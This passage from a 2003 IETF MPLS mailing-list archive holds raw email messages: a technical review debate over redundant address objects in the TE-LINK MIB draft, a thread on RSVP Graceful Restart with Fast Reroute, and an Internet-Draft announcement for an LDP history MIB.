> (same comment on teLinkIncomingIfId)
> Also maybe add DEFVAL {0} ?
>
> [Martin] I can be explicit as you suggest. I don't think we should
> assume a default value here. I can't really tell if it is more likely
> that implementor will implement numbered or unnumbered
> TE links.
>
>
> 3) For teLinkAddressType, teLinkLocalIpAddr, teLinkRemoteIpAddr,
> add DEFVALs for unknown(0), ''H, and ''H, respectively?
>
> [Martin] I don't think we should assume a default value here either.
>
>
> -Dave
>
> > -----Original Message-----
> > From: Thomas D. Nadeau [mailto:tnadeau@cisco.com]
> > Sent: Wednesday, September 24, 2003 12:11 PM
> > To: Dave Thaler; 'Martin Dubuc'; 'Wijnen, Bert (Bert)';
> sudheer@ieee.org;
> > jplang@ieee.org
> > Subject: RE: DT's review of draft-ietf-mpls-telink-mib-04.txt
> >
> >
> > Hi All,
> >
> > I wanted to summarize the conversation
> > we have been having to try to come to closure
> > on the points brought forth by Dave. The issue
> > raised by Dave was that he thought the TE-LINK MIB
> > needed to extend RFC2863 rather than re-define
> > some objects. I think this came because he misunderstood
> > how the TE-LINK MIB was supposed to be used. The TE-LINK
> > MIB is used to manage configured TE links/interfaces/
> > and or link-bundles, irrespective of whether
> > any TE tunnels are riding over those entities.
> > So it seems that the TE-LINK MIB's constructs
> > are required and have different application
> > than those defined in RFC2863.
> >
> > The actions as I see it are that we need
> > to improve the description/overview of the TE-LINK
> > MIB so that this misunderstanding does not occur
> > in the future, but that the objects that are
> > presently in the TE-LINK MIB should remain.
> > If we all agree, I will post this as a response
> > to Dave's original posting on the mailing list.
> >
> > --Tom
> >
> >
> > >-----Original Message-----
> > >From: Dave Thaler [mailto:dthaler@windows.microsoft.com]
> > >Sent: Tuesday, September 23, 2003 5:35 PM
> > >To: Martin Dubuc; Wijnen, Bert (Bert); tnadeau@cisco.com;
> > >sudheer@ieee.org; jplang@ieee.org
> > >Subject: RE: DT's review of draft-ietf-mpls-telink-mib-04.txt
> > >
> > >
> > >Martin,
> > >
> > >I didn't understand that scenario, can you elaborate?
> > >If it's not a tunnel, what would the values of teLinkLocalIpAddr and
> > >teLinkRemoteIpAddr be?  From my reading of the doc, and a
> > >search through
> > >[GMPLS-ARCH], it looks to be like they're only non-empty for tunnels.
> > >(If this is not the intent then the documents need to be much more
> > >clear.)
> > >
> > >-Dave
> > >
> > >> -----Original Message-----
> > >> From: Martin Dubuc [mailto:dubuc.consulting@rogers.com]
> > >> Sent: Tuesday, September 23, 2003 4:34 AM
> > >> To: Dave Thaler; Wijnen, Bert (Bert); tnadeau@cisco.com;
> > >sudheer@ieee.org;
> > >> jplang@ieee.org
> > >> Subject: Re: DT's review of draft-ietf-mpls-telink-mib-04.txt
> > >>
> > >> Dave,
> > >>
> > >> Even though the teLinkRowStatus, teLinkLocalIpAddr and
> > >teLinkRemoteIpAddr
> > >> may be redundant when tunnels are involved in the definition of TE
> > >links,
> > >> we
> > >> cannot remove these objects from the MIB because when entities that
> > >are
> > >> not
> > >> tunnels are used in the construction of TE links, this
> > >information may
> > >not
> > >> be captured anywhere (for instance, this can be the case for
> optical
> > >> networks).
> > >>
> > >> Best regards,
> > >>
> > >> Martin
> > >>
> > >> ----- Original Message -----
> > >> From: "Dave Thaler" <dthaler@windows.microsoft.com>
> > >> To: "Wijnen, Bert (Bert)" <bwijnen@lucent.com>;
> > >> <dubuc.consulting@rogers.com>; <tnadeau@cisco.com>;
> > ><sudheer@ieee.org>;
> > >> <jplang@ieee.org>
> > >> Sent: Saturday, September 13, 2003 4:16 PM
> > >> Subject: DT's review of draft-ietf-mpls-telink-mib-04.txt
> > >>
> > >>
> > >> I've completed a review of draft-ietf-tewg-mib-06.txt at Bert's
> > >request,
> > >> concentrating on the relationships with the Interfaces MIB and the
> > >> IPv4 Tunnel MIB.
> > >>
> > >> Relationship with IF-MIB:
> > >>
> > >>  This is in pretty good shape.  Section 8 meets most of the
> > >requiements
> > >>  outlined in section 4 of RFC 2863.  The only requirements not met
> > >> appear
> > >>  to be the ones regarding ifRcvAddressTable and the conditions (if
> > >any)
> > >>  relating to ifXxxOctets with respect to frames with errors.
> > >>
> > >> Relationship with IPv4 Tunnel MIB:
> > >>
> > >>  This MIB has no text on the relationship with the IPv4 Tunnel MIB,
> > >and
> > >>  does not explain why it does not extend that MIB.  Of course this
> > >>  document is not IPv4-specific, but we know we need a corresponding
> > >IPv6
> > >>
> > >>  Tunnel MIB (or perhaps a generic IP Tunnel MIB) anyway.  Given
> that,
> > >it
> > >>
> > >>  is unclear whether there is sufficient justification (certainly
> none
> > >in
> > >>
> > >>  the draft) to not extend it/them.
> > >>
> > >>  The argument to extend it/them is twofold:
> > >>  a) you are consistent with other tunnel management schemes, rather
> > >than
> > >>     confusing people with multiple conflicting schemes, and
> > >>  b) that you get a number of things currently missing,
> specifically:
> > >>     tunnelIfHopLimit, tunnelIfSecurity, tunnelConfigEncapsMethod,
> > >>     tunnelIfTOS, and the ability to look up a tunnel index by its
> > >>     endpoints.
> > >>
> > >>  teLinkRowStatus - redundant with tunnelConfigStatus?
> > >>
> > >>  The real issue is how to handle the teLinkLocalIpAddr and
> > >>  teLinkRemoteIpAddr.  The 'numbered' and 'unnumbered' link
> > >terminology
> > >>  appears to come from [GMPLS-ARCH], but from a quick glance at that
> > >>  document, is is unclear whether the IP addresses are those used
> for
> > >>  encapsulation (i.e. like MAC addresses from the point of view of
> the
> > >>  teLink interface), or those assigned to the inside.  I'm
> > >assuming the
> > >>  former, since the latter would definitely be redundant with the
> inet
> > >>  address table like on any other interface.
> > >>
> > >>  So there are currently three cases, as I understand it:
> > >>  1) it's tunneling using IPv4 addresses.  In this case I see
> > >no reason
> > >>     to not extend the IPv4 Tunnel MIB.  teLinkLocalIpAddr
> > >>     and teLinkRemoteIpAddr are redundant with
> > >tunnelIfLocalAddress and
> > >>     tunnelIfRemoteAddress, respectively.
> > >>  2) it's tunneling using IPv6 addresses.  In this case it can
> > >>     extend an IPv6 Tunnel MIB (or perhaps an Inet Tunnel MIB).
> > >>     teLinkLocalIpAddr and teLinkRemoteIpAddr would be redundant
> with
> > >>     objects in that MIB.
> > >>  3) it's not tunneling using either one.  In this case
> > >>     teLinkLocalIpAddr and teLinkRemoteIpAddr are empty.
> > >>
> > >> Hence, I'd propose the following actions:
> > >>  1) this document remove the teLinkLocalIpAddr and
> teLinkRemoteIpAddr
> > >>     objects (leaving teLinkAddressType is fine).
> > >>  2) we (the OPS area) write the IPv6 or Inet Tunnel MIB asap.
> > >>     I had volunteered for this but it was lower priority.
> > >If this MIB
> > >>     takes a dependency on it, I think it could be done fairly
> quickly
> > >>     since it's just adapting the existing RFC 2667.
> > >>     In that document we define a new tunnelIfEncapsMethod for MPLS.
> > >>  3) If the unnumbered case does not do tunneling over IP, then an
> > >>     ifType of teLink(200) could identify this case (only).
> > >>     Numbered links would use an ifType of tunnel, with an encaps
> > >>     method of mpls.  This would give the benefits of using the
> tunnel
> > >> mib.
> > >>
> > >> -Dave
> > >>
> > >
> >
>
>



From owner-mpls@UU.NET  Wed Oct 22 12:00:23 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA15642
	for <mpls-archive@lists.ietf.org>; Wed, 22 Oct 2003 12:00:19 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplnk00351
	for <mpls-archive@lists.ietf.org>; Wed, 22 Oct 2003 16:00:21 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplnk00165;
	Wed, 22 Oct 2003 16:00:15 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQplnj14893
	for mpls-outgoing; Wed, 22 Oct 2003 15:45:16 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQplnj14886
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 22 Oct 2003 15:45:13 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQplni12265
	for <mpls@uu.net>; Wed, 22 Oct 2003 15:44:16 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplni02942
	for <mpls@uu.net>; Wed, 22 Oct 2003 15:44:15 GMT
Received: from sj-iport-4.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-4.cisco.com [171.68.10.86])
	id QQplni02920
	for <mpls@uu.net>; Wed, 22 Oct 2003 15:44:15 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h9MFi5N0028410
	for <mpls@uu.net>; Wed, 22 Oct 2003 11:44:06 -0400 (EDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADJ26713;
	Wed, 22 Oct 2003 11:44:04 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9MFi4o25373 for mpls@uu.net; Wed, 22 Oct 2003 11:44:04 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQplni14466
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 22 Oct 2003 15:42:51 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQplni17975
	for <mpls@UU.NET>; Wed, 22 Oct 2003 15:41:03 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplni10062
	for <mpls@UU.NET>; Wed, 22 Oct 2003 15:41:03 GMT
Received: from coltrane.dataconnection.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: smtp.dataconnection.com [192.91.191.4])
	id QQplni10038
	for <mpls@UU.NET>; Wed, 22 Oct 2003 15:41:02 GMT
Received: by coltrane.datcon.co.uk with Internet Mail Service (5.5.2656.59)
	id <49T1THF6>; Wed, 22 Oct 2003 16:40:52 +0100
Message-ID: <53F74F5A7B94D511841C00B0D0AB16F8028706FA@baker.datcon.co.uk>
From: Nic Neate <Nic.Neate@dataconnection.com>
To: Seabridge - Nurit Sprecher <nurit.sprecher@SeabridgeNetworks.com>,
        "'ancaz@cisco.com'" <ancaz@cisco.com>,
        "'rrahman@cisco.com'"
	 <rrahman@cisco.com>,
        "'jisrar@cisco.com'" <jisrar@cisco.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>,
        "'ccamp@ops.ietf.org'"
	 <ccamp@ops.ietf.org>
Subject: RE: RSVP Graceful Restart
Date: Wed, 22 Oct 2003 16:40:55 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2656.59)
Content-Type: text/plain;
	charset="windows-1255"
Sender: owner-mpls@UU.NET
Precedence: bulk

All,

Together with some colleagues at Data Connection, I have done some work
looking at how GMPLS Restart could work with RSVP Fast Reroute LSPs.  While
Restart was originally intended as a recovery mechanism for optical networks
and Fast Reroute more as a packet network protection scheme, they do both
provide data traffic preservation mechanisms that could be usefully deployed
in the same network.  We'd be interested in working with anyone looking at
progressing a solution for this.

There are various complications in recovering RSVP state when a node
supporting backup LSPs restarts, in particular following a failure of the
upstream or downstream protected LSP.  New mechanisms will be required to
reconstruct the FAST_REROUTE, DETOUR, ERO, RRO, SENDER_TSPEC, FLOWSPEC and
SESSION_ATTRIBUTES objects.

Again, we've got some ideas on this.  What is the general level of interest
in this area?

Nic

-----Original Message-----
From: Seabridge - Nurit Sprecher
Sent: Wednesday, October 22, 2003 10:43 AM
To: 'ancaz@cisco.com'; 'rrahman@cisco.com'; 'jisrar@cisco.com'
Cc: 'mpls@uu.net'; 'ccamp@ops.ietf.org'
Subject: RSVP Graceful Restart


Hi,
I did not have the chance yet to read the draft, but I really believe there
is a need to extend the general description in the GMPL document.
I hope that you new definition for the ERO recovery would help also to let
the Ingress LER to recover.

One more thing that I would like to see in the extension, is how graceful
restart works together with Fast Reroute Protection. Specifically the
problematic points are the MP and the PLR. Do you have any intention to
cover it as well?

Thanks in advance, Nurit.



From owner-mpls@UU.NET  Wed Oct 22 18:42:51 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA02754
	for <mpls-archive@lists.ietf.org>; Wed, 22 Oct 2003 18:42:50 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplok08899
	for <mpls-archive@lists.ietf.org>; Wed, 22 Oct 2003 22:43:00 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplok08768;
	Wed, 22 Oct 2003 22:42:55 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQploj06752
	for mpls-outgoing; Wed, 22 Oct 2003 22:28:15 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQploj06747
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 22 Oct 2003 22:28:12 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQploj13567
	for <mpls@uu.net>; Wed, 22 Oct 2003 22:24:46 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQploj08939
	for <mpls@uu.net>; Wed, 22 Oct 2003 22:24:45 GMT
Received: from sj-iport-4.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-4.cisco.com [171.68.10.86])
	id QQploj08893
	for <mpls@uu.net>; Wed, 22 Oct 2003 22:24:44 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-1.cisco.com (8.12.9/8.12.6) with ESMTP id h9MMOejP016907
	for <mpls@uu.net>; Wed, 22 Oct 2003 15:24:40 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADJ68216;
	Wed, 22 Oct 2003 18:24:38 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9MMOcx00466 for mpls@uu.net; Wed, 22 Oct 2003 18:24:38 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQploj06418
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 22 Oct 2003 22:23:38 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQploj14691
	for <mpls@uu.net>; Wed, 22 Oct 2003 22:22:47 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQploj08128
	for <mpls@uu.net>; Wed, 22 Oct 2003 22:22:47 GMT
Received: from sj-iport-5.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-5.cisco.com [171.68.10.87])
	id QQploj08115
	for <mpls@uu.net>; Wed, 22 Oct 2003 22:22:46 GMT
Received: from cisco.com (64.102.124.13)
  by sj-iport-5.cisco.com with ESMTP; 22 Oct 2003 15:24:50 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h9MMMcN0018933;
	Wed, 22 Oct 2003 18:22:42 -0400 (EDT)
Received: from tnadeauw2k02 (tokyo-vpn-user313.cisco.com [10.70.83.57])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADJ68091;
	Wed, 22 Oct 2003 18:22:35 -0400 (EDT)
Reply-To: <tnadeau@cisco.com>
From: "Thomas D. Nadeau" <tnadeau@cisco.com>
To: "'Dave Thaler'" <dthaler@windows.microsoft.com>,
        "'Martin Dubuc'" <dubuc.consulting@rogers.com>
Cc: "'Bert Wijnen'" <bwijnen@lucent.com>,
        "'Sudheer Dharanikota'" <sudheer@ieee.org>,
        "'Jonathan Lang'" <jplang@ieee.org>, "'Loa Andersson'" <loa@pi.se>,
        "'Mpls \(E-mail\)'" <mpls@UU.NET>
Subject: RE: DT's review of draft-ietf-mpls-telink-mib-04.txt
Date: Wed, 22 Oct 2003 18:22:36 -0400
Organization: Cisco Systems, inc.
Message-ID: <006e01c398eb$003bc740$24196840@amer.cisco.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Importance: Normal
In-Reply-To: <C9588551DE135A41AA2626CB6453093704759D8E@WIN-MSG-10.wingroup.windeploy.ntdev.microsoft.com>
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit


	Because it is possible that the others are not 
implemented.  Because of the minimal duplication,
this seems reasonable.

	--Tom


>-----Original Message-----
>From: Dave Thaler [mailto:dthaler@windows.microsoft.com] 
>Sent: Wednesday, October 22, 2003 2:02 PM
>To: Martin Dubuc
>Cc: Thomas Nadeau; Bert Wijnen; Sudheer Dharanikota; Jonathan 
>Lang; Loa Andersson; Mpls (E-mail)
>Subject: RE: DT's review of draft-ietf-mpls-telink-mib-04.txt
>
>
>Great.  In that case why have redundant objects at all?
>
>-Dave
>
>> -----Original Message-----
>> From: Martin Dubuc [mailto:dubuc.consulting@rogers.com]
>> Sent: Wednesday, October 22, 2003 4:32 AM
>> To: Dave Thaler
>> Cc: Thomas Nadeau; Bert Wijnen; Sudheer Dharanikota; Jonathan Lang; 
>> Loa Andersson; Mpls (E-mail)
>> Subject: Re: DT's review of draft-ietf-mpls-telink-mib-04.txt
>> 
>> Dave,
>> 
>> The TE link MIB makes extensive use of the interface table. Our 
>> specification relies on this part of MIB-II.
>> 
>> I will add text in the DESCIRPTION clause to emphasize the 
>> relationship between teLinkLocalIpAddr and ipAddrTable.
>> 
>> Martin
>> 
>> ----- Original Message -----
>> From: "Dave Thaler" <dthaler@windows.microsoft.com>
>> To: "Martin Dubuc" <dubuc.consulting@rogers.com>
>> Cc: "Thomas Nadeau" <tnadeau@cisco.com>; "Bert Wijnen" 
>> <bwijnen@lucent.com>; "Sudheer Dharanikota" <sudheer@ieee.org>; 
>> "Jonathan Lang" <jplang@ieee.org>;
>> "Loa Andersson" <loa@pi.se>
>> Sent: Tuesday, October 21, 2003 4:12 PM
>> Subject: RE: DT's review of draft-ietf-mpls-telink-mib-04.txt
>> 
>> 
>> > -----Original Message-----
>> > From: Martin Dubuc [mailto:dubuc.consulting@rogers.com]
>> [...]
>> > ----- Original Message -----
>> > From: "Dave Thaler" <dthaler@windows.microsoft.com>
>> > To: <tnadeau@cisco.com>; "Martin Dubuc" 
>> > <dubuc.consulting@rogers.com>; "Wijnen, Bert (Bert)" 
>> > <bwijnen@lucent.com>; <sudheer@ieee.org>; <jplang@ieee.org>
>> > Sent: Monday, October 06, 2003 10:11 PM
>> > Subject: RE: DT's review of draft-ietf-mpls-telink-mib-04.txt
>> >
>> >
>> > Sorry for the delay, but I've been reading a bunch of relevant
>> documents
>> > so I can help resolve the issue.  Besides the mpls-telink-mib and 
>> > the tewg-mib, I've now read all of the following in entirety:
>> >
>> > [RFC2702] "Requirements for Traffic Engineering Over MPLS" 
>[OSPF-TE]
>
>> > "Traffic Engineering Extensions to OSPF Version 2" [LSP-HIER] "LSP 
>> > Hierarchy with Generalized MPLS TE" [BUNDLE] "Link 
>Bundling in MPLS 
>> > Traffic Engineering" [GMPLS-ROUTING] "Routing Extensions 
>in Support 
>> > of Generalized MPLS"
>> >
>> > as well as some portions of other documents such as 
>> > [MPLS-TE-STD-MIB] and [GMPLS-ARCH].
>> >
>> > Even after all that, the address model was not really 
>cleared up for
>> me.
>> > [LSP-HIER], [OSPF-TE], and [BUNDLE] all contain language 
>related to 
>> > the local and remote IP address.
>> >
>> > I'm back to my original question about:
>> > > it is unclear whether the IP addresses are those used for 
>> > > encapsulation (i.e. like MAC addresses from the point of view of 
>> > > the teLink interface), or those assigned to the inside. I'm 
>> > > assuming the former, since the latter would definitely be
>> > redundant
>> > > with the inet address table like on any other interface.
>> >
>> > In the email below I had assumed the former.  After reading the 
>> > documents above, I'm more inclined to believe it's the latter. Can 
>> > someone confirm this?  Put another way:
>> >
>> > Q: If you look in the ipAddrTable for the corresponding entry for 
>> > the
>> IP
>> > address in a teLinkLocalIpAddr object on a numbered TE 
>link, what is
>> the
>> > value of ipAdEntIfIndex?  What is the relationship of that 
>interface
>> to
>> > the TE link?
>> > (e.g. in the example on page 12, is it the ifIndex of the mpls 
>> > interface, the teLink interface, or the opticalTransport interface?
>
>> > Previously I had assumed the answer would be the opticalTransport 
>> > interface, but
>> now
>> > I'm more inclined to believe it's one of the others in which case 
>> > Thomas' summary of my misunderstanding below would be more or less 
>> > accurate. In any case, none of the documents listed above give a 
>> > clear answer to this question.)
>> >
>> > [Martin] You are right, it is the latter. The IP address is the IP
>> address
>> > of
>> > the teLink interface. It is redundant with ipAddrTable, 
>but we would
>> like
>> > not
>> > to have to rely on the presence of ipAddrTable to get 
>access to this
>
>> > information.
>> 
>> Martin, thanks much for the confirmation.  I'm curious about 
>your last
>
>> statement though.  Are you concerned about implementing this MIB on 
>> systems which do not implement MIB-II?
>> 
>> If you do need redundant objects for some reason, then it would be 
>> good for the DESCRIPTION clause to mention that it is in fact 
>> redundant, so implementers can ensure both objects have the same 
>> value.
>> 
>> -Dave
>



From owner-mpls@UU.NET  Wed Oct 22 19:07:40 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA04459
	for <mpls-archive@lists.ietf.org>; Wed, 22 Oct 2003 19:07:40 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplom06849
	for <mpls-archive@lists.ietf.org>; Wed, 22 Oct 2003 23:07:49 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplom06585;
	Wed, 22 Oct 2003 23:07:41 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQplok08215
	for mpls-outgoing; Wed, 22 Oct 2003 22:44:56 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQplok08183
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 22 Oct 2003 22:44:45 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQplok09753
	for <mpls@uu.net>; Wed, 22 Oct 2003 22:40:58 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplok02069
	for <mpls@uu.net>; Wed, 22 Oct 2003 22:40:57 GMT
Received: from ams-iport-1.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: ams-iport-1.cisco.com [144.254.74.5])
	id QQplok02049
	for <mpls@uu.net>; Wed, 22 Oct 2003 22:40:57 GMT
Received: from cisco.com (171.71.177.254)
  by ams-iport-1.cisco.com with ESMTP; 23 Oct 2003 00:38:57 +0200
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h9MMemiw015425
	for <mpls@uu.net>; Wed, 22 Oct 2003 15:40:49 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADJ69343;
	Wed, 22 Oct 2003 18:40:47 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9MMelP01073 for mpls@uu.net; Wed, 22 Oct 2003 18:40:47 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQplok07530
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 22 Oct 2003 22:39:00 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQplok22324
	for <mpls@uu.net>; Wed, 22 Oct 2003 22:30:09 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplok18942
	for <mpls@uu.net>; Wed, 22 Oct 2003 22:30:08 GMT
Received: from ietf.org by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: odin.ietf.org [132.151.1.176])
	id QQploj18706
	for <mpls@uu.net>; Wed, 22 Oct 2003 22:29:56 GMT
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA01983;
	Wed, 22 Oct 2003 18:29:43 -0400 (EDT)
Message-Id: <200310222229.SAA01983@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce:;
Cc: mpls@UU.NET
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-lai-mpls-ldp-hist-mib-00.txt
Date: Wed, 22 Oct 2003 18:29:41 -0400
Sender: owner-mpls@UU.NET
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.


	Title		: A Supplementary History Module for the MPLS LDP-MIB
	Author(s)	: W. Lai
	Filename	: draft-lai-mpls-ldp-hist-mib-00.txt
	Pages		: 8
	Date		: 2003-10-22
	
In this document, requirements for supplementing the MPLS LDP-MIB 
are presented for the support of specific network management needs 
for fault and performance management.  Based on these requirements, 
it describes managed objects in a supplementary history module for 
use with the LDP-MIB.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-lai-mpls-ldp-hist-mib-00.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-lai-mpls-ldp-hist-mib-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-lai-mpls-ldp-hist-mib-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<2003-10-22182506.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-lai-mpls-ldp-hist-mib-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-lai-mpls-ldp-hist-mib-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<2003-10-22182506.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mpls@UU.NET  Wed Oct 22 20:51:54 2003
